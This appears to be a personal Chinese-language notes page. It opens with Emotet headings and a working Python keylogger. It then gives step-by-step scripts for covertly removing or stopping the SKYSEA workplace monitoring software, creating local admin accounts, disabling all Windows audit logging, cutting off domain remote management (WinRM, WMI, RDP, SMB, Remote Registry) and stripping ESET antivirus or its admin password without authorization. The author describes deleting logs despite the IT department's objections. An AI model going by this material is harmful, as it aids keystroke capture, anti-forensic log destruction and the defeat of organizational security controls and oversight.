Research of Emotet

Spread via Word documents

通过 Word 文档传播

Attacks for hire

雇佣攻击

Emotet Malware

Emotet 恶意软件

Phishing: Spearphishing Link

网络钓鱼：带有恶意链接的鱼叉式钓鱼

Keylogger

键盘记录器

python -m pip install pynput

from pynput import keyboard

log_file = 'keylog.txt'

def on_press(key: keyboard.Key | keyboard.KeyCode | None) -> None:
    with open(log_file, 'a') as f:
        f.write(f'[{key}]')

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

SKYSEA 这个间谍软件的删除方法

一、详细操作指南

社内PC上未经允许安装并获取操作日志的麻烦间谍软件。让我们根除这个间谍软件，提高生活质量（QOL）。

1. 使用 RegistryFinder 删除注册表中所有包含 “skysea” 的项。也可以使用 regedit，但比较麻烦。

   删除注册表中 Key 列和 Value 列中包含 “SKYSEA” 的记录（右键点击 → 从注册表中删除）。

2. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “Swd” 右键点击 → 属性 → 将服务状态设置为停止，将启动类型设置为禁用。

   删除 C:\WINDOWS 目录中的 “wds” 文件夹。

3. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “awssm” 右键点击 → 属性 → 将服务状态设置为停止，将启动类型设置为禁用。

   删除 C:\WINDOWS 目录中的 “awssm” 文件夹。

4. 将以下文本保存为 .bat 文件并运行。也可以手动停止和禁用服务。

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

   @echo off rem 禁用服务 sc config "Swd" start= disabled sc config "awssm" start= disabled sc config "SCVCabProxySvr" start= disabled sc config "CompactSvc" start= disabled sc config "ScvUpdSvc" start= disabled sc config "AstExAgt" start= disabled sc config "ScvSvc" start= disabled sc config "SCV LogAgentService" start= disabled sc config "LogSvr" start= disabled sc config "IceSvc" start= disabled rem 停止服务 net stop "Swd" net stop "awssm" net stop "SCVCabProxySvr" net stop "CompactSvc" net stop "ScvUpdSvc" net stop "AstExAgt" net stop "ScvSvc" net stop "SCV LogAgentService" net stop "LogSvr" net stop "IceSvc"

   因为各服务会进行活性监控，需要多次运行 bat 文件来完全停止它们。如果不行的话可以手动从服务界面停止。

5. 打开任务管理器，右键点击 “SKYSEA Client View Version 16.1” → 结束任务。然后删除 C:\Program Files (x86) 目录中的 “Sky Product” 文件夹。如果无法删除，可能是服务未完全停止或者任务管理器中还有 “SKYSEA Client View Version 16.1”。

6. 重启电脑，如果任务管理器中没有任何与 “SKYSEA” 相关的进程，说明删除成功。

结束监视社会。感谢这家公司，我连藤原竜也都讨厌了。

2023年10月15日更新

在多次停止服务后，系统部门又说『日志无法获取了』，我反复说『请远程安装』，然后删除了日志。但随着新版本的发布，他们要求重新安装。我本来不想安装，但最后不得不安装。安装后，他们又说『日志无法获取』，但我不在乎。

后来我再次尝试删除这个恶心的间谍软件，但 “C:\Program Files (x86)\Sky Product\SKYSEA Client View” 文件夹被占用，无法删除。因为不想查找具体是哪项服务占用，于是按照以下步骤进行处理：

1. 右键点击 Windows 标志，选择 “运行”。
2. 输入 “resmon.exe” 并点击 “确定”。
3. 在资源监视器中，打开 “CPU” 选项卡。
4. 展开 “关联的句柄” 部分。
5. 在 “关联的句柄” 搜索框中输入 “SKYSEA Client View”。
6. 等待搜索结果显示。
7. 右键点击显示的进程，选择 “结束进程”。

即便是 Chrome 和 Outlook 也受到影响，这太恶心了。想到系统部门的老男人可能会窥探女性员工的搜索历史，真是太可怕了。

无法删除文件夹时，可以通过移除 administrators 权限并授予 everyone 完全控制权限来删除文件夹。

二、服务停止与启动脚本

昨天写的删除方法，其实不用删除注册表也可以停止服务。但是，如果想彻底清理，建议删除注册表项目。

因为有些公司可能会在删除后抱怨，所以我创建了停止和启动服务的 bat 文件。请在自担风险下使用。

服务停止.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

@echo off

rem 禁用服务并停止，移动模块
sc config "Swd" start= disabled
net stop "Swd"
move C:\Windows\wds C:\kasu\wds

sc config "awssm" start= disabled
net stop "awssm"
move C:\WINDOWS\avv5sm C:\kasu\avv5sm

rem 终止进程
taskkill /F /im CtlCli64.exe
taskkill /F /im LogChromeNativeHost.exe
taskkill /F /im AstAgent.exe
taskkill /F /im CtlCli.exe
taskkill /F /im SvcMon.exe
taskkill /F /im SKYSEAHS.exe

rem 禁用其他服务
sc config "SCVCabProxySvr" start= disabled
sc config "CompactSvc" start= disabled
sc config "ScvUpdSvc" start= disabled
sc config "AstExAgt" start= disabled
sc config "ScvSvc" start= disabled
sc config "SCV LogAgentService" start= disabled
sc config "LogSvr" start= disabled
sc config "IceSvc" start= disabled

rem 停止其他服务
net stop "SCVCabProxySvr"
net stop "CompactSvc"
net stop "ScvUpdSvc"
net stop "AstExAgt"
net stop "ScvSvc"
net stop "SCV LogAgentService"
net stop "LogSvr"
net stop "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹
move "C:\Program Files (x86)\Sky Product" "C:\kasu"

服务启动.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

@echo off

rem 启用服务并启动，移动模块
sc config "Swd" start= auto
net start "Swd"
move C:\kasu\wds C:\Windows\wds

sc config "awssm" start= auto
net start "awssm"
move C:\kasu\avv5sm C:\WINDOWS\avv5sm

rem 启用其他服务
sc config "SCVCabProxySvr" start= auto
sc config "CompactSvc" start= auto
sc config "ScvUpdSvc" start= auto
sc config "AstExAgt" start= auto
sc config "ScvSvc" start= auto
sc config "SCV LogAgentService" start= auto
sc config "LogSvr" start= auto
sc config "IceSvc" start= auto

rem 启动其他服务
net start "SCVCabProxySvr"
net start "CompactSvc"
net start "ScvUpdSvc"
net start "AstExAgt"
net start "ScvSvc"
net start "SCV LogAgentService"
net start "LogSvr"
net start "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹回原位置
move "C:\kasu\Sky Product" "C:\Program Files (x86)"

组织域管理员

域管理员在未联网的计算机终端上用 CMD 执行的命令不会被域级审计，因为域级审计依赖于计算机与域控制器之间的通信。若计算机与域控制器断开连接（未联网），域级审计无法实时获取和记录该计算机的操作信息。

详细解释

1. 域级审计的工作原理：
   • 域级审计通过域控制器推送审计策略，监控和收集域中计算机的操作信息。
   • 当计算机执行某些命令或操作时，会向域控制器发送事件日志，存储在域控制器的安全日志中。
2. 未联网时的影响：
   • 如果计算机未连接到网络或无法访问域控制器，任何在该计算机上执行的命令都无法实时同步到域控制器。
   • 因此，域级审计无法记录这些操作。
3. 本地审计的作用：
   • 虽然无法进行域级审计，但本地审计策略（如进程创建审计、登录审计）仍然有效。
   • 这些操作会记录到本地安全日志中（在事件查看器的安全日志下）。
   • 例如，Windows 事件 ID 4688 会记录新进程的创建。
4. 联网后同步：
   • 当未联网的计算机重新连接到域后，域策略可以再次应用，但在断网期间生成的本地日志不会自动上传到域控制器。
   • 需要手动导出或通过集中式日志管理工具收集这些本地日志。

创建本地管理员账户

组织域管理员登录到某个计算机终端并使用 cmd 或 PowerShell 创建一个新的本地管理员账户：

• 通过 cmd 创建本地管理员：

  1 2	net user NewLocalAdmin password /add net localgroup Administrators NewLocalAdmin /add

• 通过 PowerShell 创建本地管理员：

  1 2	New-LocalUser "NewLocalAdmin" -Password (ConvertTo-SecureString "password" -AsPlainText -Force) Add-LocalGroupMember -Group "Administrators" -Member "NewLocalAdmin"

这会在本地计算机上创建一个名为 NewLocalAdmin 的用户，并将其添加到 Administrators 组中，从而赋予该账户管理员权限。

删除本地管理员账户

假设你希望任务在 2024 年 12 月 25 日午夜 12 点删除本地管理员账户，可以按照如下方式创建任务：

1

schtasks /create /tn "DeleteCurrentAdmin" /tr "net user CurrentAdmin /delete" /sc once /st 00:00 /sd 12/25/2024

解释：

• /sc once：表示这是一个只执行一次的任务。
• /st 00:00：设定任务的开始时间为午夜12点（00:00）。
• /sd 12/25/2024：指定任务的具体日期为 2024 年 12 月 25 日。

这样，任务将在指定的日期和时间执行并删除本地管理员账户。

禁用本地审计

要在 Windows 系统上禁用本地审计，可以通过本地组策略编辑器或命令行工具来进行。以下是两种常见方法：

方法 1：使用本地组策略编辑器禁用本地审计

1. 打开本地组策略编辑器：
   • 按下 Win + R，输入 gpedit.msc，然后按 Enter。
2. 导航到审计策略：
   • 路径：计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 审核策略。
3. 禁用所需的审计项：
   • 在右侧面板中找到需要禁用的审计项（例如登录审核、对象访问审核、进程创建审核等）。
   • 双击需要禁用的项，在弹出的窗口中选择不审核，然后点击确定。
4. 应用更改：
   • 关闭组策略编辑器，重启计算机或运行以下命令以使更改生效：

1

gpupdate /force

方法 2：使用命令行工具禁用本地审计

可以使用 auditpol 命令来禁用特定的审计策略。

• 查看当前的审计策略

在命令提示符或 PowerShell 中，运行以下命令查看当前的审计策略：

1

auditpol /get /category:*

• 禁用特定审计项

要禁用特定审计项（例如登录/注销类别下的所有审核），可以使用以下命令：

1

auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable

• 禁用所有审计项

要禁用所有审计类别的审计，可以逐项禁用，或者使用批处理命令：

1

for /f "tokens=*" %a in ('auditpol /get /category:* ^| findstr /r "^[A-Z]"') do auditpol /set /category:"%a" /success:disable /failure:disable

• 注意事项

1. 权限要求：
   • 修改审计策略需要管理员权限，请确保在具有管理员权限的账户下执行这些操作。
2. 安全风险：
   • 禁用本地审计会使系统无法记录安全事件和用户活动，可能导致安全风险，降低问题排查和安全合规性。
3. 重新启用审计：
   • 如果需要重新启用本地审计，可以通过组策略编辑器将相关项设置为成功审核或失败审核，或者使用 auditpol 命令启用。

示例命令重新启用审计：

1

auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

通过这些方法，可以有效控制本地审计的启用和禁用。

禁用 Windows 远程管理

Windows 远程管理涉及多个功能，如 PowerShell 远程、远程桌面 和 **Windows 远程管理服务 (WinRM)**。您可以逐一禁用这些功能。

禁用 PowerShell 远程

在 PowerShell 中运行以下命令来禁用 PowerShell 远程功能：

1

Disable-PSRemoting -Force

禁用远程桌面 (RDP)

1. 通过设置禁用远程桌面：

   • 按 Win + I 打开 设置。
   • 选择 系统 -> 远程桌面。
   • 将 启用远程桌面 选项关闭。

2. 通过命令提示符禁用远程桌面：
   打开命令提示符（管理员权限），运行以下命令：

   1	reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

3. 停止远程桌面服务：

   1 2	sc stop TermService sc config TermService start= disabled

禁用 Windows Management Instrumentation (WMI)

PowerShell Remoting 依赖于 WMI（Windows Management Instrumentation）来查询计算机的状态。禁用 WMI 服务可以防止通过 WMI 查询用户和权限。

在 PowerShell 中执行以下命令禁用 WMI 服务：

1
2

Stop-Service -Name winmgmt
Set-Service -Name winmgmt -StartupType Disabled

或者，在 服务管理器 中手动禁用 Windows Management Instrumentation 服务。

禁用 SMB 协议

为了防止远程查看和管理，可以禁用 Server Message Block (SMB) 协议。

禁用 SMB1 协议和 SMB2 协议：

1
2

Set-SmbServerConfiguration -EnableSMB1Protocol $false
Set-SmbServerConfiguration -EnableSMB2Protocol $false

禁用 WinRM 服务（远程管理服务）

在命令提示符或 PowerShell 中，运行以下命令：

1
2
3
4
5

# 停止 WinRM 服务
Stop-Service WinRM

# 禁用 WinRM 服务开机启动
Set-Service -Name WinRM -StartupType Disabled

配置防火墙规则

通过配置防火墙规则，可以阻止来自特定 IP 或网络的远程访问。

• 手动创建防火墙端口规则：

通过防火墙限制远程连接，特别是禁用 PowerShell Remoting 或 WMI 查询：

1. 打开 Windows 防火墙。
2. 创建新的出站或入站规则，阻止端口 5985 (HTTP) 和 5986 (HTTPS)，这两个端口是 PowerShell Remoting 和 WMI 查询的默认端口。

• 通过执行命令，配置阻止远程管理端口的规则。

1

New-NetFirewallRule -DisplayName "Block PowerShell Remoting" -Direction Inbound -Protocol TCP -LocalPort 5985,5986 -Action Block

• 通过执行命令，配置阻止 RDP（远程桌面协议）端口的规则。

1

New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block

禁用 Remote Registry 服务

Remote Registry 服务允许远程计算机访问本地注册表，进而查看用户和权限信息。
禁用 Remote Registry 服务可以防止远程用户访问计算机的注册表，查看或修改用户信息、权限等。

1. 打开 服务管理器，找到 Remote Registry 服务。
2. 禁用该服务，并将启动类型设置为 禁用。

或者，你可以在 PowerShell 中执行以下命令禁用服务：

1
2

Stop-Service -Name RemoteRegistry
Set-Service -Name RemoteRegistry -StartupType Disabled

使用组策略限制权限

通过 组策略（GPO）来限制域管理员的远程访问权限，禁止某些账户或组执行特定操作。

• 禁止远程管理

1. 打开 组策略编辑器（gpedit.msc）。
2. 导航到 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell。
3. 启用 禁用远程脚本 策略，以防止通过 PowerShell 远程执行脚本。

• 限制管理员权限

你还可以限制某些管理员的权限，限制其在目标计算机上的操作。通过组策略，你可以定义哪些用户组可以执行管理任务。

禁用登录脚本和远程任务

禁用目标计算机的登录脚本和计划任务可以防止域管理员通过这些方式远程监视计算机。

• 禁用计划任务

1. 打开 任务计划程序。
2. 禁用或删除与远程监控相关的计划任务。

卸载或禁用 ESET Security

ESET Security 是防病毒和安全保护软件，禁用或卸载它需要一定的步骤和权限，特别是在企业环境中可能会受到策略限制。
如果您没有 ESET Security 的管理员密码，但需要禁用或卸载它，可以尝试以下方法。不过请注意，在公司设备上这样做可能违反 IT 政策，需谨慎操作。

方法 1: 使用 ESET 卸载工具（在安全模式下）

ESET 提供了专门的卸载工具，可以在 安全模式 下强制卸载 ESET Security，绕过管理员密码。

步骤：

1. 下载 ESET Uninstaller 工具： - 从 ESET 官方支持页面下载 ESET Uninstaller 工具：
   ESET Uninstaller 下载链接

2. 进入安全模式：

   • 按 Win + R，输入 msconfig，按回车。
   • 在 引导 选项卡中，勾选 安全引导，然后点击 确定 并重启电脑。

3. 运行 ESET Uninstaller 工具：

   • 在安全模式下，运行下载的 ESET Uninstaller 工具 (ESETUninstaller.exe)。
   • 按照提示，输入确认信息并选择要卸载的 ESET 产品。
   • 等待卸载完成。

4. 重新启动电脑：

   • 卸载完成后，重新启动电脑并返回正常模式。
   • 记得取消 安全引导 选项（在 msconfig 中取消勾选 安全引导）。

方法 2: 通过注册表重置 ESET 管理员密码

您可以尝试通过修改注册表来重置或移除 ESET Security 的管理员密码。

步骤：

1. 打开注册表编辑器：

   • 按 Win + R，输入 regedit，然后按回车。

2. 定位到 ESET 密码存储路径：

   • 路径：

     1	HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info

   • 在部分版本中，路径可能略有不同。

3. 删除密码值：

   • 找到名为 Password 或 AdminPassword 的项。
   • 右键点击该项，选择 删除。
   • 关闭注册表编辑器。

4. 重启电脑：

   • 重启后，尝试打开 ESET Security，密码应该被移除。

方法 3: 通过任务管理器禁用 ESET 启动项和服务

1. 打开任务管理器：

   • 按 Ctrl + Shift + Esc。

2. 禁用启动项：

   • 转到 启动 选项卡。
   • 找到 ESET Security，右键点击并选择 禁用。

3. 禁用 ESET 服务：

   • 转到 服务 选项卡。
   • 找到所有与 ESET 相关的服务，右键点击，选择 停止。
   • 按 Win + R，输入 services.msc，回车。
   • 在服务列表中找到 ESET 服务，右键选择 属性，将 启动类型 设置为 禁用。